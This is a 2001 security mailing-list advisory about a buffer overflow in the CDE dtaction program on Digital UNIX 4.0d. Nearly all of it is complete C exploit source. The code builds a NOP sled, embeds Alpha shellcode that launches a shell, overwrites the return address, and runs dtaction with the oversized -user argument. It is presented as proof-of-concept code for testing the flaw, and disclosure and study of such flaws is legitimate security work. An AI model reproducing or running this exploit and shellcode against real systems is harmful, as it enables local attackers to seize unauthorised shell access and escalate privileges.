[EXPL] Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user)
From: support@securiteam.comDate: 11/24/01
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From: support@securiteam.com To: list@securiteam.com Subject: [EXPL] Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user) Message-Id: <20011124160441.24840138BF@mail.der-keiler.de> Date: Sat, 24 Nov 2001 17:04:41 +0100 (CET)
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Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user)
------------------------------------------------------------------------
SUMMARY
A security vulnerability in Digital UNIX's CDE dtaction program allows a
local attacker to cause the program to crash, causing it to execute
arbitrary code.
Below is a proof-of-concept code that can be used to test for this
vulnerability.
DETAILS
Vulnerable systems:
Digital Unix 4.0d
Exploit:
/*
* dtaction-ex.c
* tested : Digital Unix 4.0d , OSF1 V4.0 878 alpha
*
* cc -o dtaction-ex dtaction-ex.c
*
* truefinder , seo@igrus.inha.ac.kr, seo@underground.or.kr
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define NOP 0x47ff041f
#define ALIGNSIZE (9)
#define BUFSIZE (8199 )
#define RETADDR 0x000000011ffffaa0
#define DEFNOPSIZE 7168
char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };
char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 };
static char shellcode[] =
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
"\x11\x74\xf0\x47" /* bis $31,0x83,$17 */
"\x12\x94\x07\x42" /* addq $16,60,$18 */
"\xfc\xff\x32\xb2" /* stl $17,-4($18) */
"\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */
"\x1f\x04\x31\x22" /* lda $17,0x041f($17) */
"\xfc\xff\x30\xb2" /* stl $17,-4($16) */
"\xf9\xff\x1f\xd2" /* bsr $16,-28 */
"\x30\x15\xd9\x43" /* subq $30,200,$16 */
"\x31\x15\xd8\x43" /* subq $30,192,$17 */
"\x12\x04\xff\x47" /* clr $18 */
"\x40\xff\x1e\xb6" /* stq $16,-192($30) */
"\x48\xff\xfe\xb7" /* stq $31,-184($30) */
"\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
"\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
"\x13\x05\xf3\x47" /* ornot $31,$19,$19 */
"\x3c\xff\x7e\xb2" /* stl $19,-196($30) */
"\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */
"\x2f\x62\x73\x22" /* lda $19,0x622f($19) */
"\x38\xff\x7e\xb2" /* stl $19,-200($30) */
"\x13\x94\xe7\x43" /* addq $31,60,$19 */
"\x20\x35\x60\x42" /* subq $19,1,$0 */
"\xff\xff\xff\xff"; /* callsys ( disguised ) */
/* ohhara's shellcode */
int
main(int argc, char *argv[] )
{
char *buf , *buf_ptr;
int bufsize , alignsize , offset ;
int i, totalsize;
bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ;
totalsize = alignsize + bufsize ;
buf = malloc( totalsize ) ;
memset ( buf, NULL , totalsize );
memset ( buf, 'A', alignsize );
buf_ptr = (char *)(buf + alignsize );
for ( i = 0 ; i < DEFNOPSIZE/4 ; i++ )
strcat ( buf_ptr , nop );
strcat ( buf_ptr, shellcode );
for ( i =0 ; i < bufsize - DEFNOPSIZE - strlen(shellcode) - 8 ;
i++ )
strcat( buf_ptr ,"A");
strcat ( buf_ptr , retaddr );
execl ("/usr/dt/bin/dtaction", "dtaction", "-user", buf, NULL );
}
ADDITIONAL INFORMATION
The information has been provided by
<mailto:s1980914@inhavision.inha.ac.kr> SeungHyun Seo.
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